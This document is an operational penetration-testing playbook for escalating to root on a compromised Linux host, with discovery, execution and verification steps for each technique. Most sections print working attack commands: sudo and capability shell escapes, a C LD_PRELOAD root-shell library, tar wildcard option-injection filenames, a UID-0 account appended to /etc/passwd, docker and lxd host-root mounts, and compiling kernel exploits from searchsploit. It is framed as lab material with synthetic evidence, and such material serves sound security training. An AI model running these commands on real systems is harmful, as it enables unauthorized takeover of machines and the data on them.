5.1 Escalate privileges on Linux

Requires: A working command channel and accurate effective identity, group, mount and process context

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Record effective UID/groups, host/namespace and the exact candidate permission; re-check identity after every claimed escalation.

Failure/next check: Missing tools or permission-denied inventory is partial visibility. Use built-ins and inspect concrete application paths rather than claiming no escalation path exists.

Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Prove the specific read/write/replace action and consumer path; world-writable alone is not the complete escalation chain.

Failure/next check: A read-only/noexec/nosuid mount changes which effects are possible. Find another consumer rather than assuming every permission bypasses mount policy.

Requires: Read access to the artifact; exact account/service context; session/agent access must include a usable live identity

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Record source, exact material type and validated identity/service; keep real secrets in private lab records.

Failure/next check: Stale examples and unrelated tokens are common. A denied process read is a visibility limit, not evidence that no credentials exist elsewhere.

Blocks: 8. Operational procedure | Quick sheet

5.1.8.1 Purpose and result

A verified privileged command, file operation or identity transition.

5.1.8.2 Recognition clues

sudo -l grants an operation under a more useful identity.

5.1.8.2.1 Find the clue from your starting access

Where to investigate: Run the exact sudo policy query from the current user and read run-as identity, executable, arguments and tags.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

sudo -n -l 2>&1
sudo -l

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

User USER may run:
    (root) NOPASSWD: /usr/bin/find

Recognize this detail: The rule permits that exact program as root; its documented privileged operation becomes a candidate.

Still missing before method selection: Read sudo -l: match the run-as user, exact executable and allowed arguments. Check NOPASSWD/password access and NOEXEC/environment restrictions; choose only the GTFOBins operation that the full rule permits, then verify id.

If you do not yet have this clue: start with Establish Linux state and choose an escalation candidate.

5.1.8.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it.

5.1.8.4 Discover and verify prerequisites

sudo -n -l 2>&1
sudo -l

5.1.8.5 Why it works

Sudo grants a configured operation, not arbitrary root by default. Interpreter escapes, editors, file writers and helpers are different useful primitives whose exact invocation must fit the rule.

5.1.8.6 Execute and choose variants

sudo -n -l 2>&1
sudo -l
sudo --version

Record the run-as identity, password tag, executable path, argument constraints/wildcards and SETENV/NOSETENV/env_keep/secure_path/NOEXEC. Match the exact mode under GTFOBins.

sudo /usr/bin/find . -exec /bin/sh \; -quit
sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'
sudo /usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

sudo -l | grep -E 'SETENV|env_keep.*LD_PRELOAD'

#include <stdlib.h>
#include <unistd.h>
void _init(void) {
  unsetenv("LD_PRELOAD");
  setgid(0); setuid(0);
  system("/bin/sh");
}

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /ALLOWED/PROGRAM

5.1.8.7 Worked example — hypothetical

Observation: the rule permits a specific interpreter as root without restricted arguments. Test: compare its documented privileged mode with the full rule and execute a minimal identity proof. Illustrative output: effective UID 0. Interpretation: verify host context and re-enumerate privileged files.

5.1.8.8 Verify the result

Verify the executed run-as identity and effective UID; preserve the matching rule and successful operation.

5.1.8.9 Failure and fallback

Restricted arguments, another run-as user, privilege dropping, NOEXEC or MAC policy can block the candidate. Evaluate another permitted primitive.

5.1.8.10 Continue from the interpreted result

Blocks: 8. Operational procedure | Quick sheet

5.1.9.1 Purpose and result

Verified privileged library initialization under the permitted run-as identity.

5.1.9.2 Recognition clues

A sudo rule explicitly preserves or permits a loader variable.

5.1.9.2.1 Find the clue from your starting access

Where to investigate: Inspect sudo's environment-related tags/defaults and the exact allowed executable's dynamic-linking evidence.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

sudo -l
file /ALLOWED/PROGRAM
readelf -l /ALLOWED/PROGRAM

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

env_keep includes LD_PRELOAD, or applicable SETENV
Allowed program: dynamically linked
Run-as: root

Recognize this detail: Explicit environment permission plus a compatible dynamic consumer suggests a loader-injection candidate.

Still missing before method selection: Confirm SETENV or explicit LD_PRELOAD preservation in sudo -l and a dynamically linked allowed program. Use only the permitted environment form; inspect the resulting id rather than assuming the shared library ran as root.

If you do not yet have this clue: start with Use an allowed sudo operation to cross a privilege boundary.

5.1.9.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Allowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors it.

5.1.9.4 Discover and verify prerequisites

sudo -l
file /ALLOWED/PROGRAM
readelf -l /ALLOWED/PROGRAM

5.1.9.5 Why it works

LD_PRELOAD inserts a library before normal symbol resolution only when the privileged execution path preserves and honors it. Merely setting the variable in an ordinary shell does not satisfy sudo or secure-loader policy.

5.1.9.6 Execute and choose variants

sudo -l | grep -E 'SETENV|env_keep.*LD_PRELOAD'

#include <stdlib.h>
#include <unistd.h>
void _init(void) {
  unsetenv("LD_PRELOAD");
  setgid(0); setuid(0);
  system("/bin/sh");
}

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /ALLOWED/PROGRAM

5.1.9.7 Worked example — hypothetical

Observation: the rule permits a loader variable for one dynamic program. Test: inspect the exact rule and executable before using the controlled library. Illustrative output: the library's identity proof runs as the run-as user. Interpretation: the loader transition is verified.

5.1.9.8 Verify the result

Require the library's actual effect and effective identity; a successful compile alone proves nothing about the loader.

5.1.9.9 Failure and fallback

Static linking, environment sanitization, secure-execution handling and policy denial break this route.

5.1.9.10 Continue from the interpreted result

Blocks: 8. Operational procedure | Quick sheet

5.1.10.1 Purpose and result

A verified privileged file operation or effective UID/GID transition.

5.1.10.2 Recognition clues

A nonstandard or dangerous privileged executable.

5.1.10.2.1 Find the clue from your starting access

Where to investigate: Inventory privileged-mode files, then focus on custom/nonstandard programs and inspect ownership, mount and documented behavior.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
file /PATH/TO/BINARY

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

-rwsr-xr-x root root /opt/APP/custom-helper
-rwxr-sr-x root GROUP /PATH/TO/SGID_HELPER

Recognize this detail: The s bits identify an execution credential mechanism; nonstandard behavior warrants inspection but is not a vulnerability itself.

Still missing before method selection: Run stat on the flagged executable and findmnt -T on its path. Check the SUID owner, nosuid and exact binary behavior; after a permitted operation run id to see whether the elevated effective UID was retained.

If you do not yet have this clue: start with Establish Linux state and choose an escalation candidate.

5.1.10.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Effective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege.

5.1.10.4 Discover and verify prerequisites

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
findmnt -T /PATH/TO/BINARY

5.1.10.5 Why it works

The mode bit changes execution credentials, but programs may drop them or constrain operations. A stock SUID listing is not a vulnerability; identify the exact program behavior.

5.1.10.6 Execute and choose variants

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null

Rank nonstandard/custom paths, unexpected versions, writable binaries/parents and dangerous interpreters. Inspect one candidate:

namei -l /PATH/TO/BINARY
stat /PATH/TO/BINARY
file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null
strings /PATH/TO/BINARY | head -n 150
dpkg -S /PATH/TO/BINARY 2>/dev/null
rpm -qf /PATH/TO/BINARY 2>/dev/null

capsh --print 2>/dev/null
grep '^Cap' /proc/self/status

/PATH/TO/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

5.1.10.7 Worked example — hypothetical

Observation: a custom SUID helper invokes another program by relative name. Test: inspect its call and inherited effective identity. Illustrative output: the helper retains root and resolves through a controlled path. Interpretation: apply the PATH method and verify the final identity.

5.1.10.8 Verify the result

Verify effective IDs and the exact privileged operation; a real UID or prompt label alone is insufficient.

5.1.10.9 Failure and fallback

nosuid, privilege dropping, fixed arguments or MAC policy can invalidate a candidate. Distinguish a file-read primitive from arbitrary execution.

5.1.10.10 Continue from the interpreted result

Blocks: 8. Operational procedure | Quick sheet

5.1.11.1 Purpose and result

The specific privileged operation or identity transition enabled by that capability.

5.1.11.2 Recognition clues

An interpreter/helper has an effective high-value capability.

5.1.11.2.1 Find the clue from your starting access

Where to investigate: Search file capabilities and inspect the exact program plus current namespace/bounding context.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

getcap -r / 2>/dev/null
capsh --print 2>/dev/null

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

/opt/TOOLS/python3 cap_setuid=ep

Recognize this detail: The specific interpreter has effective set-UID authority, unlike an ordinary copy of python3 elsewhere.

Still missing before method selection: Read getcap for the exact executable, inspect its mount and match the named capability to the program operation. A version or capability name alone does not prove that the program retains a useful effective capability.

If you do not yet have this clue: start with Establish Linux state and choose an escalation candidate.

5.1.11.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: The exact capability is effective in the execution context; mount/namespace/bounding-set restrictions permit its use.

5.1.11.4 Discover and verify prerequisites

getcap -r / 2>/dev/null
capsh --print 2>/dev/null
grep '^Cap' /proc/self/status

5.1.11.5 Why it works

Capabilities divide root authority into individual powers. cap_setuid and file-read capabilities enable different chains; cap_net_raw is not a general root capability.

5.1.11.6 Execute and choose variants

capsh --print 2>/dev/null
grep '^Cap' /proc/self/status

/PATH/TO/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

5.1.11.7 Worked example — hypothetical

Observation: a Python interpreter has effective cap_setuid. Test: confirm its exact executable and context, then use the capability-backed identity operation. Illustrative output: UID 0 is obtained. Interpretation: verify host/namespace and re-enumerate.

5.1.11.8 Verify the result

Match the granted capability to the observed effect and effective IDs; do not infer unrelated root powers.

5.1.11.9 Failure and fallback

nosuid, capability bounding sets, namespaces or a missing effective bit can change behavior. Choose another supported primitive.

5.1.11.10 Continue from the interpreted result

Blocks: 8. Operational procedure | Quick sheet

5.1.12.1 Purpose and result

Verified execution or a useful file operation under the job/service identity.

5.1.12.2 Recognition clues

Root-owned cron, systemd or recurring process activity uses a controllable object.

5.1.12.2.1 Find the clue from your starting access

Where to investigate: Inspect actual cron/systemd definitions and running processes, then follow their action paths into permission checks.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

cat /etc/crontab
systemctl list-timers --all
ps auxww

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

* * * * * root /opt/APP/backup.sh
Script path: /opt/APP/backup.sh

Recognize this detail: The schedule explicitly names a privileged consumer and an exact file to inspect.

Still missing before method selection: Observe the actual command and UID with pspy or inspect the unit with systemctl cat/show. Run namei -l, stat and getfacl on the consumed path and parents; identify the timer, restart or invocation before changing the file.

If you do not yet have this clue: start with Establish Linux state and choose an escalation candidate.

5.1.12.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger.

5.1.12.4 Discover and verify prerequisites

cat /etc/crontab
systemctl list-timers --all
ps auxww

5.1.12.5 Why it works

Writable scripts and service units become useful only when the privileged consumer actually reads them. A timer schedule and a right to restart a service are different triggers.

5.1.12.6 Execute and choose variants

crontab -l 2>/dev/null
cat /etc/crontab
cat /etc/anacrontab 2>/dev/null
atq 2>/dev/null
ls -la /etc/cron.* /var/spool/cron 2>/dev/null
grep -RniE 'CRON|CMD' /var/log/syslog /var/log/cron* 2>/dev/null | tail -n 100

systemctl list-timers --all
systemctl list-unit-files --type=service
systemctl list-units --type=service --state=running
systemctl cat UNIT
systemctl show UNIT -p User -p Group -p ExecStart -p WorkingDirectory -p EnvironmentFiles

Observe short-lived commands:

./pspy64
./pspy64 -pf -i 1000

Validate every referenced script, binary, configuration, environment file, plugin and parent:

namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null

Apply the same proof to backup, logrotate, package-maintenance and custom housekeeping hooks: configuration visibility or a writable output is insufficient unless a higher-privileged consumer interprets attacker-controlled input.

5.1.12.7 Worked example — hypothetical

Observation: root runs a backup script on a timer. Test: prove the exact script path and effective write rights, then observe a controlled effect at its scheduled trigger. Illustrative output: a root-owned marker appears. Interpretation: privileged consumption is confirmed.

5.1.12.8 Verify the result

Verify the consumer's resulting effect and identity; editing a file without an observed trigger is incomplete.

5.1.12.9 Failure and fallback

Wrong path, service sandbox, missing trigger or another effective identity breaks the chain. Use process observation and permission checks.

5.1.12.10 Continue from the interpreted result

Blocks: 8. Operational procedure | Quick sheet

5.1.13.1 Purpose and result

Verified execution of the chosen helper under the consumer identity.

5.1.13.2 Recognition clues

A privileged program/job invokes a helper without an absolute path.

5.1.13.2.1 Find the clue from your starting access

Where to investigate: Inspect a verified privileged helper/script for unqualified executable names and compare its actual PATH with writable directories.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

printf '%s\n' "$PATH"
namei -l /PATH/TO/CANDIDATE_DIRECTORY
strings /PATH/TO/REVIEWED_BINARY

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Helper invocation: backup_tool ARGUMENT
Consumer PATH: /CONTROLLED_DIRECTORY:/usr/bin:/bin

Recognize this detail: An unqualified helper can resolve through the controlled earlier directory in the consumer's environment.

Still missing before method selection: Find the helper name in the privileged script or observed pspy command. Check that it is unqualified and identify the consumer's real PATH; a writable directory matters only if that consumer searches it first.

If you do not yet have this clue: start with Control a script, binary or configuration consumed by a privileged job/service.

5.1.13.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: A controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists.

5.1.13.4 Discover and verify prerequisites

printf '%s\n' "$PATH"
namei -l /PATH/TO/CANDIDATE_DIRECTORY

5.1.13.5 Why it works

The caller's effective PATH determines helper lookup; changing the attacker's PATH has no effect when the privileged consumer sets its own environment or uses an absolute path.

5.1.13.6 Execute and choose variants

echo "$PATH" | tr ':' '\n'
echo "$PATH" | tr ':' '\n' | while IFS= read -r d; do
  [ -z "$d" ] && d=.
  [ -w "$d" ] && ls -ld "$d"
done
strings /PATH/TO/PRIVILEGED_BINARY | grep -E '(^|[^/])(cp|tar|service|sh|bash|cat)( |$)'

If the privileged consumer resolves helper through a controllable PATH:

printf '#!/bin/sh\n/usr/bin/id > /tmp/path-proof\n' > /WRITABLE/DIR/helper
chmod 700 /WRITABLE/DIR/helper
PATH=/WRITABLE/DIR:$PATH /PATH/TO/TRIGGER
cat /tmp/path-proof

5.1.13.7 Worked example — hypothetical

Observation: a privileged helper invokes a bare command name. Test: inspect the execution environment and create a controlled implementation in the earlier permitted directory. Illustrative output: the triggered program runs the controlled helper as root. Interpretation: resolution and privilege retention are confirmed.

5.1.13.8 Verify the result

Prove actual helper selection and effective identity through a controlled effect.

5.1.13.9 Failure and fallback

secure_path, absolute paths, a changed working directory or privilege dropping can invalidate the route.

5.1.13.10 Continue from the interpreted result

Blocks: 8. Operational procedure | Quick sheet

5.1.14.1 Purpose and result

A verified unintended privileged utility operation.

5.1.14.2 Recognition clues

A privileged job passes an uncontrolled directory glob to an option-parsing utility.

5.1.14.2.1 Find the clue from your starting access

Where to investigate: Read the exact privileged command line and inspect the directory over which its shell glob expands.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

cat /PATH/TO/REVIEWED_JOB_SCRIPT
ls -la /PATH/TO/JOB_DIRECTORY
namei -l /PATH/TO/JOB_DIRECTORY

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Job command: tar ... *
Working directory: /CONTROLLED_DIRECTORY
Caller: root

Recognize this detail: Controlled filenames may become utility arguments after glob expansion; the exact utility and option ordering decide the method.

Still missing before method selection: Inspect the exact privileged command: confirm that a wildcard expands attacker-controlled names into option positions and that the utility interprets those options. A writable directory without that command/trigger does not enable this route.

If you do not yet have this clue: start with Control a script, binary or configuration consumed by a privileged job/service.

5.1.14.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Control of expanded filenames; compatible option parsing and argument placement; useful program feature and privileged trigger.

5.1.14.4 Discover and verify prerequisites

namei -l /PATH/TO/JOB_DIRECTORY
ls -la /PATH/TO/JOB_DIRECTORY

5.1.14.5 Why it works

Shell glob expansion produces arguments before the program parses options. A filename that becomes an option is useful only for a utility/mode that honors it; -- or fixed argument handling can stop the chain.

5.1.14.6 Execute and choose variants

grep -RniE 'tar .+\*|chown .+\*|chmod .+\*|rsync .+\*' \
  /etc/cron* /etc/systemd /opt /usr/local 2>/dev/null

GNU tar proof, only when a privileged job executes compatible tar ... * in an attacker-writable directory:

printf '#!/bin/sh\n/usr/bin/id > /tmp/wildcard-proof\n' > proof.sh
chmod 700 proof.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh proof.sh'

5.1.14.7 Worked example — hypothetical

Observation: a backup job calls tar on an uncontrolled wildcard. Test: inspect exact command ordering and supported tar options. Illustrative output: controlled filenames select the documented checkpoint action when the job runs. Interpretation: option injection is confirmed.

5.1.14.8 Verify the result

Verify the utility's actual triggered effect and its identity, not merely that special filenames exist.

5.1.14.9 Failure and fallback

A different utility build, -- separator, changed directory or absent glob can disprove this path.

5.1.14.10 Continue from the interpreted result

Blocks: 8. Operational procedure | Quick sheet

5.1.15.1 Purpose and result

Verified privileged initialization or behavior of a controlled shared object.

5.1.15.2 Recognition clues

A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path.

5.1.15.2.1 Find the clue from your starting access

Where to investigate: Inspect the reviewed privileged executable's dependencies/search paths and permission-check the actual selected library directory.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

readelf -d /PATH/TO/BINARY
namei -l /PATH/TO/LIBRARY_DIRECTORY

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

NEEDED: libAPP.so
RUNPATH: /CONTROLLED_LIBRARY_DIRECTORY

Recognize this detail: A named dependency plus a potentially controlled search location is a loader-resolution candidate.

Still missing before method selection: Verify actual runtime selection, ABI/symbols, secure-execution rules, retained privilege and a trigger.

If you do not yet have this clue: start with Use a SUID or SGID program's exposed privileged primitive.

5.1.15.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Actual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger.

5.1.15.4 Discover and verify prerequisites

readelf -d /PATH/TO/BINARY
namei -l /PATH/TO/LIBRARY_DIRECTORY
file /PATH/TO/BINARY

5.1.15.5 Why it works

The dynamic loader resolves dependencies using context-specific rules. A writable directory is irrelevant if secure execution or an earlier trusted resolution prevents loading from it.

5.1.15.6 Execute and choose variants

file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null

For root-run scripts, inspect imports/includes and their actual search order. A writable current directory, module path or imported file can be a privileged input even when the main script is protected:

grep -nE '^(import|from) |require\(|include|source |\. ' /PATH/TO/SCRIPT
/PATH/TO/python3 -c 'import sys; print("\n".join(sys.path))'

5.1.15.7 Worked example — hypothetical

Observation: a custom privileged binary references a library in a writable search location. Test: confirm resolution and ABI, then trigger a minimal controlled effect. Illustrative output: library initialization runs under the higher identity. Interpretation: the library-consumption chain is verified.

5.1.15.8 Verify the result

Prove the selected library path and effective execution identity; retain dependency and trigger evidence.

5.1.15.9 Failure and fallback

Static linking, secure-loader sanitization, a different selected library or missing symbols breaks the route.

5.1.15.10 Continue from the interpreted result

Blocks: 8. Operational procedure | Quick sheet

5.1.16.1 Purpose and result

A verified account or policy-backed privilege transition.

5.1.16.2 Recognition clues

Account metadata or a privilege-policy file appears writable.

5.1.16.2.1 Find the clue from your starting access

Where to investigate: Check permissions on the account/policy file identified by enumeration, including parents and mount state, before any content change.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

stat /etc/passwd /etc/shadow /etc/sudoers
getfacl -p /etc/passwd /etc/sudoers 2>/dev/null

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

/etc/passwd: mode=0666 owner=root
Effective write for current identity: present

Recognize this detail: A sensitive account file appears writable; the authentication implementation and valid record syntax determine its effect.

Still missing before method selection: Preserve original state; confirm exact effective write, file consumer, useful identity and recovery/trigger.

If you do not yet have this clue: start with Prove effective file, directory, ACL and mount control.

5.1.16.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Effective write/replace permission, known file syntax and a useful identity/policy consumer; preserve the original.

5.1.16.4 Discover and verify prerequisites

stat /etc/passwd /etc/shadow /etc/sudoers
getfacl -p /etc/passwd /etc/sudoers 2>/dev/null

5.1.16.5 Why it works

Sensitive-file write can change authentication or authorization, but the exact file format and consuming implementation determine the effect. A malformed account/policy file can break access.

5.1.16.6 Execute and choose variants

ls -l /etc/passwd /etc/shadow /etc/sudoers
namei -l /etc/passwd
getfacl -p /etc/passwd 2>/dev/null

cp /etc/passwd /tmp/passwd.backup
HASH=$(openssl passwd -6 'TEMP_PASSWORD')
printf 'root2:%s:0:0:root:/root:/bin/bash\n' "$HASH" >> /etc/passwd
su - root2
id

Also inspect effective access to /etc/sudoers.d, PAM, SSH authorized-key locations and root-executed startup/configuration files.

5.1.16.7 Worked example — hypothetical

Observation: a disposable lab exposes writable account metadata. Test: preserve the original and inspect the authentication implementation before the documented minimal change. Illustrative output: the new context authenticates with the expected UID. Interpretation: verify and restore according to the lab objective.

5.1.16.8 Verify the result

Verify the resulting identity/authorized action and retain the exact change plus recovery copy privately.

5.1.16.9 Failure and fallback

Read-only mounts, PAM behavior or syntax mistakes can defeat the candidate. Prefer a narrower reversible consumer when available.

5.1.16.10 Continue from the interpreted result

Blocks: 8. Operational procedure | Quick sheet

5.1.17.1 Purpose and result

A verified privileged daemon operation or host-relevant access.

5.1.17.2 Recognition clues

Membership or socket ACLs permit controlling a rootful daemon or useful session.

5.1.17.2.1 Find the clue from your starting access

Where to investigate: Inspect groups, local sockets and namespace context, then use only permitted read-only daemon inventory to identify rootful/rootless behavior.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

id
ls -l /var/run/docker.sock
cat /proc/1/cgroup

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

groups include docker
Socket group: docker; group read/write
Container/host context: verify separately

Recognize this detail: Effective socket access suggests daemon control; group text alone does not establish host-affecting rootful operations.

Still missing before method selection: Check API acceptance, rootful/rootless and namespace policy, available resources and the specific host operation.

If you do not yet have this clue: start with Establish Linux state and choose an escalation candidate.

5.1.17.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Effective daemon/API permission, correct rootful/rootless or privileged mode, available resources and a host-affecting operation.

5.1.17.4 Discover and verify prerequisites

id
ls -l /var/run/docker.sock
findmnt
cat /proc/1/cgroup

5.1.17.5 Why it works

Controlling a rootful container daemon can grant host-mount operations; root inside a restricted/rootless container is a different authority. Socket presence alone proves no API access.

5.1.17.6 Execute and choose variants

id
ls -l /var/run/docker.sock /run/docker.sock 2>/dev/null
docker version 2>/dev/null
lxc list 2>/dev/null

Group candidates include docker, lxd/lxc, disk, shadow, adm, systemd-journal and libvirt. Prove the associated resource and effective permission.

docker images
docker run --rm -it -v /:/host IMAGE chroot /host /bin/sh

lxc image list
lxc init IMAGE_ALIAS privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh

5.1.17.7 Worked example — hypothetical

Observation: docker group access reaches a rootful daemon. Test: inspect its available image and mount permissions using the documented procedure. Illustrative output: a controlled container can read the intended host filesystem. Interpretation: verify host context before claiming host root.

5.1.17.8 Verify the result

Distinguish host and container namespace, effective UID and the exact host operation.

5.1.17.9 Failure and fallback

Rootless mode, user namespaces, policy or absent images can change the route. Do not equate a container prompt with host compromise.

5.1.17.10 Continue from the interpreted result

Blocks: 8. Operational procedure | Quick sheet

5.1.18.1 Purpose and result

A useful file/credential operation or verified local service access.

5.1.18.2 Recognition clues

A writable/exported filesystem or a loopback-only service with useful privileges.

5.1.18.2.1 Find the clue from your starting access

Where to investigate: Inspect mounts, exports and local listeners after the foothold; correlate each with its identity and reachable service.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

findmnt
cat /etc/exports 2>/dev/null
ss -lntup

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Listener: 127.0.0.1:DATABASE_PORT
Export option candidate: no_root_squash

Recognize this detail: A local-only service or export mapping creates a specific investigation route, not automatic escalation.

Still missing before method selection: For the service check accepted identity/rights; for NFS check client mapping, write permissions, mount flags and target-side consumer.

If you do not yet have this clue: start with Establish Linux state and choose an escalation candidate.

5.1.18.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Relevant export/mount options or service authentication; effective identity, writable path and any privileged execution consumer.

5.1.18.4 Discover and verify prerequisites

findmnt
cat /etc/exports 2>/dev/null
ss -lntup
ss -lxnp

5.1.18.5 Why it works

A new mount or local listener changes reachable objects, not automatically privilege. NFS numeric-ID mapping, squash options and local service rights must be tested in their actual context.

5.1.18.6 Execute and choose variants

findmnt
cat /etc/fstab
mount
ss -lntup
ss -lxnp

For NFS, a writable export plus no_root_squash can trust client-root-created ownership/SUID metadata. Confirm export options, writable mount, target-side mount options and compatible execution. See NFS/RPC.

Root-only loopback services and UNIX sockets are candidates only. Identify protocol/authentication and prove a privileged action through a controlled request, configuration, plugin or file.

5.1.18.7 Worked example — hypothetical

Observation: a loopback database is inaccessible externally. Test: identify its credentials and access it locally or through a justified forward. Illustrative output: data reads succeed as a limited DB user. Interpretation: follow the database's actual rights.

5.1.18.8 Verify the result

Verify the actual file/service operation, mapped identity and any resulting execution effect.

5.1.18.9 Failure and fallback

An exposed export or listener is only a candidate. Validate mapping, authentication and consumer before claiming escalation.

5.1.18.10 Continue from the interpreted result

Blocks: 8. Operational procedure | Quick sheet

5.1.19.1 Purpose and result

A justified local exploit test and independently verified privilege result.

5.1.19.2 Recognition clues

Permission/credential paths are insufficient and an exact affected build/configuration is present.

5.1.19.2.1 Find the clue from your starting access

Where to investigate: Collect distribution build/package/architecture and the required local feature before comparing a specific advisory/PoC.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

uname -a
cat /etc/os-release
getconf LONG_BIT

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Kernel release: KERNEL_RELEASE
Distribution package/build: VENDOR_BUILD
Required vulnerable feature: not yet verified

Recognize this detail: A version-associated advisory is a candidate; backports and feature state determine applicability.

Still missing before method selection: Collect uname and the distribution's package/build plus architecture. Match the advisory's vulnerable feature and vendor patch status before choosing a PoC; try a confirmed sudo/file/credential route first when one exists.

If you do not yet have this clue: start with Establish Linux state and choose an escalation candidate.

5.1.19.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Vulnerable package/kernel state, architecture, mitigations, namespaces and documented exploit-specific conditions.

5.1.19.4 Discover and verify prerequisites

uname -a
cat /etc/os-release
getconf LONG_BIT

5.1.19.5 Why it works

Kernel release strings can hide patched distributions. A matching CVE needs affected code/configuration and compatible exploit assumptions; a crash is neither success nor proof that another build will work.

5.1.19.6 Execute and choose variants

uname -a
cat /proc/version
cat /etc/os-release
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null
sudo --version
lsmod
sysctl kernel.unprivileged_userns_clone 2>/dev/null

searchsploit "PRODUCT VERSION local privilege escalation"
searchsploit -x EDB_ID
searchsploit -m EDB_ID
gcc -Wall -Wextra exploit.c -o exploit
file exploit
sha256sum exploit

5.1.19.7 Worked example — hypothetical

Observation: an automated tool names a kernel CVE. Test: compare the distribution patch/build and required feature. Illustrative output: the vendor build includes the fix. Interpretation: reject the candidate and return to unexamined permissions/applications.

5.1.19.8 Verify the result

Verify actual effective UID/host context after the exploit, keeping the reviewed source and adaptation record.

